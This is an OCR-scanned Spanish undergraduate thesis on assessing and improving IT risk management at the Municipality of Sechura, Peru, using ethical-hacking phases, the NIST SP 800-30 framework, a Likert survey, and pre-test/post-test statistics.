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RESUMEN

La investigacién tuvo como objetivo mejorar la gestiéon de riesgos de Tl en la
municipalidad de Sechura mediante la implementacién de seguridad de la
informacion, se utilizé la metodologia de Seguridad Cero costando de 6 fases;
Reconocimiento, Escaneo, Enumeracion, Analisis, Explotacibn y Reporte. La
variable dependiente llamada gestion de riesgos fue desarrollada segun el criterio
de la investigacion de tipo cuantitativa con el disefio experimental de tipo
preexperimental relacionado al pretest y post-test. La poblacion fue de 300 equipos
informaticos que incluyen servidor, SO, programas y equipos informaticos. La

muestra fue de 25 equipos informaticos. utilizando un cuestionario.

Como resultados se logré identificar la cifra de riesgos en un 100% siendo un total
de 28 vulnerabilidades y 11 amenazas, luego se hizo un analisis calculando el nivel
de riesgo a través de la multiplicaciébn siendo Vulnerabilidad X Amenaza en
nameros de 0 a 10 y el nivel de probabilidad e impacto fueron; muy alta, alta,
moderada, baja y muy baja, encontrando 7 riesgos de nivel muy alta, 13 de nivel
alta, 7 en un nivel moderado y 1 en un nivel bajo. Luego se brindé alternativas de

solucién con el fin de mejorar la seguridad en la Municipalidad de Sechura.

Palabras clave: Seguridad de la informacién, Gestion de Riesgos, Riesgos

informaticos.
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ABSTRACT
The research aimed to improve IT risk management in the municipality of Sechura

through the implementation of information security, the Zero Security methodology
was used, costing 6 phases; Recognition, Scanning, Enumeration, Analysis,
Exploitation and Report. The dependent variable called risk management was
developed according to the quantitative research criteria with the pre-experimental
experimental design related to the pre-test and post-test. The population was 300
computer equipment that includes server, OS, programs and computer equipment.
The sample was 25 computer equipment. using a questionnaire. As a result, it was
possible to identify the risk figure by 100%, with a total of 28 vulnerabilities and 11
threats, then an analysis was made calculating the level of risk through
multiplication, being Vulnerability X Threat in numbers from 0 to 10 and the level of
probability and impact were; very high, high, moderate, low and very low, finding 7
very high level risks, 13 high level, 7 at a moderate level and 1 at a low level. Then,
alternative solutions were provided in order to improve security in the Municipality

of Sechura.

Keywords: Information Security, Risk Management, IT Risks
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l. INTRODUCCION

A esta altura del mundo salvaguardar y mantener protegida la informacion es
muy fundamental porque son activos importantes dentro en una organizacion,
por esta razén es muy importante aplicar una buena gestion de riesgos, porque
permite analizar y evaluar los riesgos informaticos de una organizacion
permitiendo minimizar los riesgos y asi evitar que las vulnerabilidades sean
explotadas por los atacantes, entonces es mejor evitar dafios de las tecnologias
como son pérdidas economicas y pérdidas de informacion, es por eso que los
sistemas informaticos deben ser protegidos para evitar posibles riesgos de
pérdidas de informacion valiosa o dafios internos a los sistemas. (Calder, et al,
2019) y (Parn, Edwards, 2019) nos dice que es importante implementar medidas
y mecanismos de seguridad de la informacion porque son esenciales para
salvaguardar y proteger activos de la informacion de una organizacion (por
ejemplo, privacidad, integridad, confidencialidad) brindar confianza a los

ciudadanos en los sistemas de tecnologia digital.

En tan solo los tres ultimos afios muchas organizaciones han sufrido
ciberataques incluyendo los estados del gobierno, estos nUmeros son mas altos
debido al dafio econémico causado por el ataque cibernético, generando un
déficit por la falta de profesionales en ciberseguridad. A través de estos
incidentes muchas empresas se han visto perjudicadas al sufrir ataques de
informacion debido a que no cuentan con una buena gestién de riesgos para
poder identificar los principales riesgos informaticos que se encuentran dentro
de sus sistemas, mayormente esto se debe al poco conocimiento que tienen de
ciberseguridad. Si bien los gobiernos reconocen la necesidad de proteger el
espacio digital en el que operan las sociedades de manera tan amplia, la
ciberseguridad aun no ha alcanzado las alturas que merece el &mbito politico y

social de la nacion. (Upadhyay, Darshana, 2020).

Esta investigacion es muy importante porque tiene un alto valor en la carrera de
ingenieria de sistemas ya que esta enfocado con el uso de las Tecnologias y de
la informacion y auditoria de seguridad o ciberseguridad. Es por eso que la
Municipalidad Provincial de Sechura es una de las muchas organizaciones que

debe ser protegida porque no cuentan con herramientas de gestion de riesgos



para identificar las amenazas y vulnerabilidades, para cumplir con nuestro
propésito de la investigacion es muy importante aplicar un plan de riesgos
adecuadamente, siguiendo la metodologia del marco NIST SP 800 para asi
poder identificar los riesgos tanto como las amenazas y los riegos que causan
las vulnerabilidades en los sistemas o equipos informaticos, para poder
identificar estos riesgos se debe determinar la probabilidad de una vulnerabilidad

identificando el nivel de explotacion de dicho riesgo.

Muchas de las organizaciones incluyendo las municipalidades publicas tienen
tecnologia obsoleta y ademas sus sistemas operativos no se encuentran
actualizados. Entonces esto podria ocasionar pérdidas de informacion también
sufrir ataques, perjudicando a terceros incluso el propio sistema de la
Municipalidad, esto se debe a que no tienen muchos conocimientos de
ciberseguridad y desconocen mucho sobre los sistemas de seguridad es asi se
debe implementar mecanismos y medidas de seguridad en los datos de la
informacion y gestionar los riesgos para asi poder evitar y mitigar posibles
amenazas, salvaguardando la informacién y tenerla a salvo la organizacion y

esta siga operando como se debe.

A través de la seguridad de informacion se busc6é dar una solucion a la
Municipalidad para la prevencion de cualquier riesgo que se puedan presentar
como amenazas que pueden tener contra la empresa. El problema de la
Municipalidad se describe por la falta de auditoria en ciberseguridad debido a
gue no se logran identificar los riesgos, mucho menos analizar riesgos, ademas
se debe brindar tratamiento de seguridad a los riesgos informaticos, y a la vez
incrementar propuestas de medidas de seguridad. Por otro lado, se decidio
tomar la eleccion de efectuar el problema general de la investigacion con la
siguiente pregunta: ¢Por qué es necesario implementar mecanismos y medidas
de seguridad de la informacién para mejorar la gestion de riesgos en los equipos
informaticos de la Municipalidad de Sechura? Ademas como justificacion: La
informacion recopilada mediante libros y repositorios que ayudaron con la
investigacion, la misma que servira como fuente de estudio para posteriores
investigaciones relacionado al tema, también hay una justificacién practica ya

gue el propésito es mejorar la gestion de riesgos, permitiendo identificar las



vulnerabilidades, amenazas y brindar soluciones ante estos riesgos; para
identificar estos riesgos en los sistemas de la Municipalidad se debe utilizar
herramientas de pentesting ademas implementar correctamente el marco NIST

SP800 para llevar a cabo una correcta gestion de riesgos.

El objetivo general consta en Mejorar la gestibn de riesgos de Tl en la
municipalidad de Sechura mediante la implementacion de seguridad de la
informacion, como objetivos especificos es, ldentificar la cifra de riesgos
informaticos de la municipalidad de Sechura; Analizar los riesgos informaticos
de la Municipalidad; Mitigar la cifra de riesgos tratados para prevenir riesgos en
los sistemas. En la hip6tesis general se establecié lo siguiente: La
implementacion de seguridad de la informacion mejorara la gestion de riesgos
en los sistemas de la municipalidad de Sechura. Como hipoétesis especifica
tenemos que es fundamental identificar los riesgos en los sistemas informéaticos,
ademas se debe analizar el nivel de riesgo informaticos en el que se encuentra
la municipalidad, posteriormente se debe mitigar los riesgos tratados para

reducir los riesgos informéaticos.



Il. MARCO TEORICO

En el siguiente contexto se presentd los antecedentes internacionales de autores
relacionados con nuestro tema de investigacion en este caso (Crespo, Martinez.
2021) En su articulo llamado “Analisis de vulnerabilidades con SQLMAP
aplicada en entornos APEXS”, utiliza la metodologia aplicada para obtener
resultados muy detallados, como principal objetivo es aplicar ethical hacking
aplicando técnicas de inyeccion SQL ademas utiliza las herramientas de FOSS
para identificar multiples vulnerabilidades en los sistemas para luego hacerles
un analisis identificando el nivel de probabilidad de riesgo y poder mitigar los
riesgos dejando como propuesta implementar protocolos de cifrado, como
conclusion fue evaluar las diferentes técnicas de inyeccion para optimizar las
etiquetas que se generan, teniendo un mejor nivel de seguridad. Asi mismo en
la investigaciéon de (Oriyano, Philip. 2017) en su libro llamado “Kali Linux
Wireless penetration testing cookbook” utilizé el tipo de investigacidon basica,
utilizando la metodologia de ethical hacking propone como objetivo un modelo
para analizar los riesgos y su principal trabajo consistio en identificar las
vulnerabilidades de los sistemas, también identificé y evalué los riesgos como
componentes importantes para asi poder identificar amenazas vy
vulnerabilidades, luego propuso evaluar y tomar medidas para reducir a un nivel
aceptable y como conclusion llegd a identificar el modelo de andlisis de

vulnerabilidades.

Por otro lado, (Shah, Girdhar. 2017) “Kali Linux intrusién and exploitation
cookbook” utilizando una metodologia basica, nos explica que su principal
objetivo es detectar una amplia gama de vulnerabilidades, segun demande el
reporte, ademas explotarlas para analizar el nivel de riesgo e identificar
anomalias en temas de seguridad, para identificar usa una herramienta sigilosa
para no despertar anomalias en los sistemas informaticos su principal trabajo es
identificar las vulnerabilidades de sistema, ademas, hacerles seguimiento a las
vulnerabilidades y dar solucion a los problemas aplicando protocolos de cifrado.
Segun el estado de nivel de riesgo, como conclusion utilizo diferentes
herramientas para identificar riesgos en los sistemas detallando reportes

impresionantes para impresionar a la gerencia.



También se presentd los antecedentes nacionales en el cual (Shonerly
Bustamante 2021) en su tesis titulado “Politicas basadas en la ISO 27001:2013
y su influencia en la gestion de seguridad de la informacion en municipalidades
de Peru” nos dice que la gestion en seguridad es muy importante en diferentes
organizaciones. El objetivo de su proyecto de investigacion es dar una mejor
calidad en la gestion de ciberseguridad en los datos o en la informacion en los
municipios peruanos. Se realiz6 una encuesta pre experimento con una muestra
de 30 empleados y se utilizé un cuestionario para identificar y medir la respuesta
o satisfaccién con modelo ya implementado. ElI promedio general, con mas del
90% de los encuestados reconocid la mejora de la ciudad. Los autores
concluyen que un modelo de ciberseguridad basado en tres fundamentos como:
la confidencialidad, la integridad y disponibilidad mejora la gestién de riesgos.
Tanto como (Carlos Huerta, 2020), en su tesis titulada “Sistema de gestion de
seguridad de la informacion para mejorar el proceso de gestién del riesgo de
Coopsol consultoria, 2019” la metodologia que se utilizé fue de tipo aplicada en
esta investigacion utilizo la 1ISO 27001, el objetivo principal fue evaluar procesos
de gestidn de riesgos trabajando con 24 activos criticos de informacion como
poblacién usando el uso estadistico de Shapiro Wilks en esta investigacion se
concluye positivamente el proceso de gestion del riesgo mejorando la gestion de
seguridad de la informacion.

Por otro lado (Alvarado Joseph, 2018), en su tesis titulada “Analisis de las
vulnerabilidades en seguridad informéatica de los equipos de computo y redes de
la municipalidad Distrital de Independencia“ utilizando una investigacién de tipo
Descriptiva Simple nos dice que el principal objetivo fue hacer un analisis
mediante el uso de herramientas para asi poder garantizar la proteccién en los
equipos informaticos y servicios de internet de la municipalidad, para que asi
sea posible incrementar medidas de prevencion, ademas propone aplicar
protocolos de cifrado y deteccion de ataques proponiendo la interaccion de
Humano-Equipo. En esta investigacion se llegé a concluir que el eslabon mas
deébil son las personas debido a que caen en las técnicas de phishing por esta
razon es mejor tomar conciencia para prevenir los riesgos ademas es muy

importante capacitar a los empleados en temas de seguridad informatica.



Como parte tedrica tenemos los conceptos basicos para comprender mejor la

tesis para empezar

La Municipalidad Provincial de Sechura es una corporacion Publica del estado
del Gobierno, empieza a elaborar el afio 1904 en este afio empiezan las
gestiones y tiene como funcién administrar una ciudad o una poblacion en la
Municipalidad se determina asuntos como el orden Legal y de Administracion,
como son normas legales y las administrativas, con un propésito de brindar
comodidad y bienestar a las personas de dicha provincia a través de los distintos

servicios.

La Municipalidad de Sechura se encuentra ubicada al Suroeste del
departamento de Piura en una distancia aproximadamente de 48,4 km, también
tenemos  su pagina  donde podemos  encontrar informacion,

https://portal.munisechura.gob.pe/ (MuniSechura - Municipalidad Provincial de

Sechura) frente a la Municipalidad se encuentra el histérico monumento de la

iglesia de San Martin de Sechura.

Seguridad de la informacion, Segun Cienfuegos Solis (2017) afirmé que la
seguridad de la informacion es un grupo o conjunto de normas, técnicas y
medidas de seguridad para identificar y controlar los riesgos de los sistemas
para asi asegurar que la informacién no salga del sistema. Ante el cambio de las
nuevas tecnologias, entonces es importante resguardar la informacién y datos
gue se encuentran dentro de la organizacion, también proteger los activos y no
ser modificada por ninguna persona externa a menos que sean usuarios de la
organizacion con permisos correspondientes administrados por las areas de TI,
ademas la seguridad se va de la mano con el Hacking siendo una agrupacion
gue no tiene politicas ni procedimientos en la seguridad que sean limitados en
los sistemas informaticos, tanto como la disponibilidad, integridad vy
confidencialidad corren riesgos, es por esta razén que se deberia disponer
politicas de seguridad competentes. ética hacking tiene como caracteristicas
primeramente el reconocimiento, segundo el escaneo, tercero la enumeracion,
cuarto el analisis, como quinto paso la explotacion y finalmente el reporte.
(Darren Death, 2017)


https://portal.munisechura.gob.pe/

NIST(SP800-30) es la metodologia que nos da orientacion al analizar la gestion
de riesgos informaticos el objetivo principal del marco NIST SP 800-30 que es
proporcionar un reporte de orientacion para realizar y evaluar las evidencias que
presenten riesgos en los equipos y sistemas informaticos, el riesgo es la
posibilidad que ocurra incidente de seguridad, la amenaza puede causar un
efecto negativo en el sistema, la informacion en la nube se esta evolucionando

en una moda tecnoldgica mas comun en la actualidad. (Albakri, et al 2014).

Importancia de medidas de Seguridad de la Informacion, Samuel Sepulveda y
Ania Cravero (2021) nos dicen que las politicas brindan orientacion a los
empleados sobre qué hacer y qué no hacer. También determinan quién tiene
acceso a qué y las consecuencias de no seguir las reglas. La Politica de
privacidad esta vigente para proteger los datos y los sistemas de la instituciéon
con la razon de garantizar su integridad, confidencialidad y disponibilidad. La
documentacion relacionada con la Politica de Privacidad debe incluir
procedimientos para restablecer el cumplimiento de las normas vy
responsabilidades a todos los niveles. Todos merecen el apoyo del liderazgo

organizacional. (Thong, James at. 2021)

Kali Linux, (Sharma, Himanshu. 2017) nos dice que es un sistema operativo de
software libre basada en Debian y esta disefiada para asuntos y temas de
seguridad en diferentes maneras los profesionales en seguridad informéatica lo
suelen usar constantemente, en Linux se podran hacer auditorias de seguridad
informatica, como lo son en las redes, andlisis forenses, andlisis de
vulnerabilidades y pruebas de penetracién en los diferentes sistemas operativos.
(Santo Orcero. 2018).

Herramientas de pentesting, es un conjunto de herramientas utilizadas para
analizar, detectar e identificar vulnerabilidades, ademas es utilizada para la
deteccién de incidentes, muchos profesionales de ciberseguridad utilizan estas
herramientas con el fin de identificar algunas anomalias en los sistemas de

informacion. (Jesus Ovallos. 2020).

Riesgo, Los riesgos en el contexto de informéatica suelen ser de una probabilidad

de una amenaza en la vulnerabilidad generando pérdidas y dafios de



informacion. Para identificar y también evaluar la aprobacion y valides y
efectividad de la gestion de la seguridad en la informacién y los riesgos de
acuerdo con su uso, en comunicaciones y redes de dichas computadoras, por
esta razon es mejor implementacion de normas y modelos que establece las
metas a poder lograr y los resultados a través de los distintos niveles que

conforman la escala de valoracion. Altamirano Di Luca, Marlon (2019).

Vulnerabilidades, Es una debilidad coman que tienen todos los sistemas para
gue sea un punto a partir de entrada en un sistema mayormente estas
vulnerabilidades son aprovechadas y explotadas por hacker para comprometer

un sistema o equipos informaticos. Raul, Ramos. (2017), (Lehnert, Erica. 2022).

Amenaza, (Novokhrestov, A. 2022) nos dice que es un riesgo que va en contra
de la integridad de los equipos informaticos si existen amenazas van a existir
vulnerabilidades siendo mas facil apoderarse de los equipos generando un
impacto no deseado en sistemas informaticos, para identificar las amenazas es

hacer una correcta gestion de informacion. (Campo, Lépez. 2020).

Gestion de riesgos, Permite la obtencion de algunos impactos sobre diferentes
datos de informacion, esta es la posibilidad de muchas amenazas para explotar
una vulnerabilidad generando un impacto negativo en los sistemas, las normas
gue tiene la gestion de riesgos son procedimientos de identificar, analizar,
evaluar. Los instrumentos se establecen de manera clara validos para que se
permita evaluar el riesgo, tanto como integridad nos permite tener recursos
importantes en las organizaciones y la disponibilidad de gestiébn son
procedimientos basados en tecnologia de cualquier software que son orientados
a una alta disponibilidad de tiempo. (Guerra; Neira, 2021)

Protocolos de cifrado, permiten cifrar y proteger la informacién que navega a
través del internet en contexto general permite tener conexiones seguras los
protocolos conocida y seguras son el SSL y el TLS protegiendo la transferencia
de los datos e informacion por ejemplos, las transacciones bancarias, las
comunicaciones entre servidores, cuentas de usuarios, etc. (David Arboledas,
2017).



lIl. METODOLOGIA
3.1. Tipo y disefio de investigacion
3.1.1 Tipo de investigacion

La investigacion fue aplicada donde se realiz6 un examen cuidadoso en
busqueda de hechos y principios donde se averiguo datos y hechos relacionados
a la investigacion identificando los problemas. (Rodriguez, 2005). El desarrollo
de esta investigacion da a conocer los riesgos de seguridad que existen en los
sistemas informéticos, donde utilizo herramientas de ética hacking para poder
identificar las vulnerabilidades, entonces el proposito es mitigar las
vulnerabilidades encontradas en los sistemas informaticos permitiendo mejorar

la gestion de riesgos y aplicando medidas de seguridad.
3.1.2. Disefio de investigacion

Se desarrollo el disefio de investigacion de enfoque cuantitativo donde se
recolecto informacion y posteriormente se analizé los datos de dicha
investigacion. (Cazau, 2002). En este proyecto se utilizé el tipo experimental
desde su subdivision de Pre-Experimental, con Pre-Test y Post-Test esto nos
permiti6 hacer un correcto andlisis teniendo resultados de forma segura y
correcta antes de aplicar seguridad de la informacion y después de aplicar los
mecanismo de seguridad de la informacion, este método es muy importante
porque permiti6 obtener los resultados esperados de esta manera se pudo
evaluar la gestion de riesgos en los sistemas informéticos, esto nos permitié

definir y analizar las variables de forma correcta. (Vargas Z, 2015).

Figura 1. Disefio de investigacion pre-test y post-test

N

G Pre-Test X Post - Test

Fuente: Elaboracion Propia



Con la grafica indica que:
G = Grupo
O1 = V. Pre-test (Gestion de Riesgos).
X = V. | (Seguridad de la Informacion).
02 = V. Post-test (Gestion de Riesgos).
3.2. Variables y Operacionalizacién
Variable independiente
Seguridad de la informacién
Definicion conceptual

Segun Cienfuegos Solis (2017) afirmé que la seguridad de la datos o informacion
es un conjunto o grupo de normas, técnicas y medidas de seguridad para
identificar y controlar los riesgos de los sistemas.

Definicion operacional

Permite identificar, analizar y mitigar vulnerabilidades.
Indicadores

Cifra del namero de vulnerabilidades

A través de las herramientas de escaneo de vulnerabilidades se podran
identificar las vulnerabilidades de los sistemas informaticos segin mande el
reporte de las herramientas de pentesting. Las vulnerabilidades que se
identificaran seran vulnerabilidades de la pagina web, de la red y en general los
sistemas informaticos, Las herramientas que se utilizaran es Nessus, Foca,
Meterpreter, Nmap, MetaSploit y algunas de estas herramientas se utilizaran con

el sistema operativo Kali Linux.
Nivel de grado de vulnerabilidades.

Una vez identificado las vulnerabilidades de los sistemas informaticos se pasara

a analizar los niveles de grado en este caso segun mande el reporte de las
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herramientas utilizadas en ello encontraremos vulnerabilidades de nivel critico,

alto, medio, bajo.
Disminuir el nivel de nimero de vulnerabilidades

En este caso pasaremos a disminuir los niveles de los riesgos que se
encontraron, unas quedaran como propuesta y las otras se les aplicara una

solucién antes estas vulnerabilidades en los sistemas informaticos.
Escala de medicién

Se utilizo la escala de razon

Variable dependiente

Gestidn de riesgos

Definicion conceptual

Permiti6 la obtenciébn de algunos impactos sobre diferentes datos de
informacion, esta es la posibilidad de identificar los riesgos como las
vulnerabilidades y las respectivas amenazas. (Guerra; Neira, 2021).

Definicién operacional

Permite a los profesionales tomar decisiones en escenarios de amenazas y
vulnerabilidades, esto permitira establecer valores con respecto a los activos de
la informacién asegurando y protegiendo la continuidad de la organizacion
(Otoya y Flores 2017).

Indicadores
Identificar la cifra de riesgos informéticos de la Municipalidad.

Al aplicar la encuesta nos mostro una cifra de vulnerabilidades y amenazas
identificadas segun la encuesta cabe recalcar que es muy importante mitigar las

amenazas porque serian un riesgo para la entidad.
Analizar los riesgos informaticos de la Municipalidad.

En este caso se analiz6 los riesgos encontrados en este caso se separan las

amenazas Yy las vulnerabilidades también se identificaran el nivel de riesgo, Muy
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Alta, Alta, Moderada, Baja y Muy Baja, cabe mencionar que es importante mitigar

las amenazas porque a la vez estariamos mitigando las vulnerabilidades.
Mitigar la cifra de riesgos tratados para prevenir riesgos en los sistemas

El objetivo es proteger la informacion de los sistemas informaticos protegiendo
la confidencialidad, integridad y disponibilidad, asumiendo la responsabilidad

segun el nivel de riesgo que se encuentra
Escala de medicién

La medicion es razén y en ello se aplicé un cuestionario. Se encuentra ubicados

en la figura 2.
3.3. Poblacion, muestra y muestreo
3.3.1. Poblacion

Se dice que la poblacion se identifica como un conjunto de personas, para luego
identificar la muestra y poder llevar a cabo una investigacién. Pandey, Mishra.
(2015).

Tabla 1. Poblacién

N° Indicadores (Riesgo) N° Poblacion (Sistemas)

Identificar la cifra de riesgos | Son un total de 300 sistemas

informaticos de la municipalidad. informéticos incluyendo, sistemas

_ _ _ _ operativos, aplicaciones y
Analizar los riesgos informaticos en la
S computadoras.
municipalidad

Mitigar la cifra de riesgos tratados

para prevenir riesgos en los sistemas.

Fuente: Elaboracion Propia

Criterios de inclusion: En este caso segun la poblacion se incluiran todos los

indicadores relacionados a la gestion de riesgos

Criterio de exclusién: No se excluye ningun aspecto de la investigacion.
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3.3.2 Muestra

La muestra segun (Cardenas, Yanez. 2012), nos dice que es una parte de
elementos que se elige previamente de un conjunto o una poblacion para llevar
a cabo un estudio. Al igual que, (Martinez, Ciro, 2012), indica que es un
respectivo subconjunto de una poblacion en que se desglosara paso a paso una
investigacion con el unico fin de recaudar hallazgos y elementos de una

poblacion.
3.3.3 Muestreo

Se tomo el tipo de muestreo no probabilistico segun (Accredited Business. 2019)
nos dice que es una técnica de muestreo donde el autor selecciona libremente
al azar elementos de una muestra, entonces en esta investigacion fue importante
decidir el numero de una poblacion. En la muestra se seleccionaron
aproximadamente 25 sistemas informaticos entre ellos estan las computadoras,
software, y sistemas operativos, siendo asi (Rodrigo, 2000), habla que se
selecciona aleatoriamente de la muestra donde cada elemento tomado de una

poblacion tiene una probabilidad de ser seleccionada.

Tabla 2. Selecciéon de muestra

Riesgo (Indicadores) Sistemas (Muestra)

Identificar la cifra de riesgos informaticosde la | En la  muestra  se

municipalidad. selecciond 25 Sistemas

_ . . . de Tl entre ellos estan las
Analizar los riesgos informéticos en la
o computadoras, software,
municipalidad. o _
aplicaciones y sistemas

Mitigar la cifra de riesgos tratados para | operativos.

prevenir riesgos en los sistemas.

Fuente: Elaboracion Propia
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3.4. Técnicas e instrumentos de recoleccion de datos

Para hacer la recoleccion de los respectivos datos uso la técnica llamada
encuesta. Esta técnica da gran aporte de calidad para coleccionar informacion

atil. Se utilizo en el area de tecnologias.

El cuestionario son las preguntas que se plantean en una encuesta para medir

las variables del estudio y del problema identificado. (Hernandez, O. 2012).

Se aplico la escala de Likert, es aplicada en estudios de investigacion, esta
escala se califica de 1 a 5, esta técnica tiene mayor aceptacion al momento de

responder las preguntas. (Cafiadas Isabel, 1998). Fig. 2
Validez del instrumento
Validez de criterio

En este caso la prueba correlacional es ajenas con la variable demostrando que
la variable es sumamente distinta a prueba que se identifica como una referencia
en la investigacion pretendiendo medir un indicador de la prueba. (Jesus Beltran
et al. 2017).

Validez Contenido

La prueba detalla una muestra ajustada a los temas de investigacion,
mayormente se utiliza en las pruebas de rendimiento y en pruebas educativas

segun sea el caso. (Jesus Beltran et al. 2017).
Validez Constructo

En este caso la hipétesis cumple con el grado de instrumento de medida ademas
se utiliza para medir las variables y esta se refleje realmente con la investigacion

midiéndolo de forma correcta. (Oscar Garcia, 2018).
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Tabla 3. Validacion de Instrumentos de Expertos

JUEZ VALIDADOR TITULO PUNTUACION | OSERVACION
ACADEMICO

Giancarlos Sanches | Magister 85% Excelente

Atuncar

Chuquicondor Magister 85% Excelente

Requena Yuri Daniel

Altuna Tocto Gerardo | Magister 85% Bueno

Arturo

PROMEDIO 85% Excelente

Fuente: Elaboracién Propia.

En este caso identificamos la prueba de validez de constructo debido a que los

instrumentos aplicando una encuesta con la escala de Likert esta encuesta se

difundié por la modalidad virtual a través de correos electronicos como

resultados se obtuvo un 85% de confiabilidad firmado por los expertos, con

mayor detalle dirigirse a la parte de anexos en la fig. 5y 6.

En la prueba se utilizo el alfa de Cronbach esta metodologia nos permite medir

la fiabilidad en las escalas de medicion. (Sergio Contreras, Francisco Nova,

2018).

Tabla 4. Alfade Cronbach

Escala Nivel

>0.9 Excelente
>0.8 Bueno

>0.7 Aceptable
>0.6 Cuestionable
>0.5 Inaceptable

Fuente: Elaboracion Propia
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Tabla 5. Procesamiento de la Prueba Piloto

Resumen de procesamiento de

casos
N %
Casos Valido 10 100,0
Excluido® 0 0
Total 10 100,0

a. La eliminacion por lista se hasa en
todas las variables del
procedimiento.

Fuente: Reporte de SPSS

Para la prueba piloto se le aplico a 10 personas como prueba, utilizando el

software SPSS obtenemos los siguientes datos de fiabilidad en un nivel bueno.

Tabla 6. Nivel de Fiabilidad

Estadisticas de

fiabilidad
Alfa de M de
Cronbach elementos
831 4

Fuente: Reporte de SPSS

Los resultados que se obtuvieron son buenos ya que pasamos la cifra del >0.5,
teniendo como resultados un >.831 siendo un nivel bueno con més precision los
datos de la encuesta y los indicadores, esto demuestra que son fiables los datos

de dicha investigacion.
3.5. Procedimientos

En la investigacion se realizo una busqueda sigilosa de informacion en la pagina
brindada por la universidad donde destacamos distintos documentos

relacionados al tema de investigacion.

La investigacion y busqueda es de tipo cuantitativo y desarrolla el disefio de tipo
Pre-Experimental, donde consiste en identificar los principales riesgos en los

sistemas con o sin la implementacion. Luego se determind la poblacién y se
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definio las técnicas e instrumentos, en la municipalidad se uso el procedimiento
de la técnica de encuesta y el instrumento obviamente fue un cuestionario esta

técnica se aplicara en las areas de tecnologia e informética.

Finalmente se realizé un analisis de la informacion que se obtuvo de la encuesta
para determinar el nivel e impacto riesgo e identificar los principales riesgos que

hay en los sistemas de la municipalidad.
3.6. Método de analisis de datos

T-Student, nos permiti6 ver la similitud que tiene un grupo de poblacion
semejante y es un entorno probabilidad para estimar la media de un entorno

normal debido a que la muestra es de un tamafio pequefio.

Shapiro-Wilk, en este método la muestra es menor a cincuenta y se usé para
contrastar la prueba de normalidad de los datos de la investigacion, teniendo

resultados de una distribucién normal.
3.7. Aspectos éticos

Para llevar a cabo esta propuesta de investigacion se recolect6 la posible mayor
informacion de diferentes fuentes confiables en la pagina de Myloft, segun los
criterios internacionales y nacionales se tomo6 en cuenta realizar una gestion
riesgos con el fin de mejorar la seguridad, para poder lograr con nuestro objetivo
es necesario a través de herramientas de escaneo y utilizar técnicas como lo
son los cuestionarios para poder identificar los riesgos y vulnerabilidades de los

sistemas para dar propuestas de solucion.

17



V. RESULTADOS

Andlisis descriptivo

Para poder complementar los resultados se utilizé el analisis descriptivo ya que
esta tiene una distribuciéon de una variable cuantitativa, entonces debemos
recurrir a medidas numéricas que permiten resaltar las caracteristicas de cada

variable. (Sergas, 2014).
Indicador 01: Identificar la cifraderiesgos informaticos de la municipalidad

Tabla 7. Identificar la cifra de riesgos en la municipalidad

Identificar la cifra de riesgos en la
municipalidad de Sechura

PRE-TEST POST-TEST

Porcentaje Porcentaje
MALO 60% 0%
REGULAR 40% 0%
BUENO 0% 100%

Fuente elaboracion propia de SPSS

Identificar la cifra de riesgos

1208
100%
1008s
B0%
605
| 60%
4049
A%
20%
09 0% 0%
L
PRE-TEST POET-TEET

MALD REGULAR mEUEMND

Como se visualiza en la tabla 7, que en el Pre-Test se identifico la cifra de riesgos
informaticos en la municipalidad de Sechura, segun la muestra de 25 en el nivel
MALO es de 60% y en un nivel REGULAR estaba en 40%, para mejorar y reducir
los niveles de riesgos se aprecia una mejora en el Post-Test donde se llegé a un
nivel BUENO de 100% esto quiere decir que se logré identificar la cifra de riesgos
informaticos, encontrando las amenazas y vulnerabilidades permitiendo saber a
gué peligro se enfrenta la municipalidad posteriormente deberemos analizar los
riesgos encontrados aumentando el nivel de seguridad en la municipalidad de

Sechura.
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Indicador 02: Analizar los riesgos informaticos de la Municipalidad.
Tabla 8. Analizar los riesgos informaticos de la Municipalidad.

Analizar los riesgos informaticos
de la Municipalidad.

PRE-TEST POST-TEST

Porcentaje Porcentaje

MALO 12% 0%
REGULAR B28% 0%
BUENO 0% 100%

Fuente elaboracién propia de SPSS

Analizar los riesgos

1%

100%

1o 8%

]

603

203 12%
0% 0% 0%

PRE-TEST POST-TEST

MALD mREGULAR mEBUENO

En la tabla 8 se visualiza que en el Pre-Test se encontraba en un porcentaje de
12% en un nivel MALO y un 88% en un nivel REGULAR para mejorar los riesgos
en el Post-Test se logré un 100% en un nivel BUENO, logrando analizar los
riesgos informaticos identificando la probabilidad e impacto para posteriormente
saber en qué nivel de riesgo se encuentra, mejorando la seguridad de la

informacion.

19



Indicador 03: Mitigar la cifra de riesgos tratados para prevenir riesgos en

los sistemas.

Tabla 9. Mitigar la cifra de riesgos tratados para prevenir riesgos en los

sistemas
Mitigar la cifra de riesgos
tratados para prevenir riesgos
en los sistemas
PRE-TEST POST-TEST
Porcentaje Porcentaje
MALO 28% 0%
REGULAR 72% 0%
BUENO 0% 100%
Fuente elaboracién propia de SPSS
Mitigar la cifra de riesgos tratados
120%
1005
1005
B80% 72%
60%
40% I8%
20%
0% 0% 0%
0%
PRE-TEST POST-TEST

MALD mRESULAR mBUENO

Al observar en la tabla 9 visualizamos que en el Pre-Test hay un 28% en nivel
BAJO y el 72% en un nivel REGULAR, al implementar seguridad de la
informacion, en el indicador Mitigar la cifra de riesgos tratados para prevenir
riesgos en los sistemas se encuentra en el Post-Test un 100% en un nivel
BUENO segun la media es importante esta cifra brindar una solucion ante las
amenazas y vulnerabilidades ademas se debe contar con una estrategia para

poder reducir los riesgos, permitiendo mejorar la protecciéon de informacion.
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Variable dependiente Gestion de Riesgos
Tabla 10. Gestion Riesgo (Variable)

Gestion de Riesgos

PRE-TEST POST-TEST
Porcentaje Porcentaje

MALO 16% 0%
REGULAR Bd% 0%
BUENO 0% 100%

Fuente: Elaboracion propia de SPSS

Gestion de Riesgos

120%

100%
100%

B4

208 16%

0% 0% 0%

MALO mREGULAR mBUENO
PRE-TEST POST-TEST

Al observar la Tabla 10 se visualiza que en el Pre-Test hay un 16% de nivel
MALO y un 88 % en un nivel REGULAR, al implementar seguridad de la
informacion se logré mejorar la gestién de riesgo porque en el Post-Test hay un
100% de nivel BUENO esto indica que en general la variable dependiente mejoro
la gestion de riesgos.
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Prueba de normalidad

Es muy eficaz aplicar la prueba de normalidad para poder darle un visto bueno
a los resultados ya que esto se utiliza para identificar si los datos estan bien
modelados previniendo de una distribucion y ademas es para calcular que tan

aceptable es la variable de los datos.

HIPOTESIS

Sirve para determinar la normalidad de los datos de investigacion
o: Distribucion normal.

Ha: Distribucién no normal.

DECISION:

e Si el valor de p<0,05 se anula la Ho y se acepta la Ha.

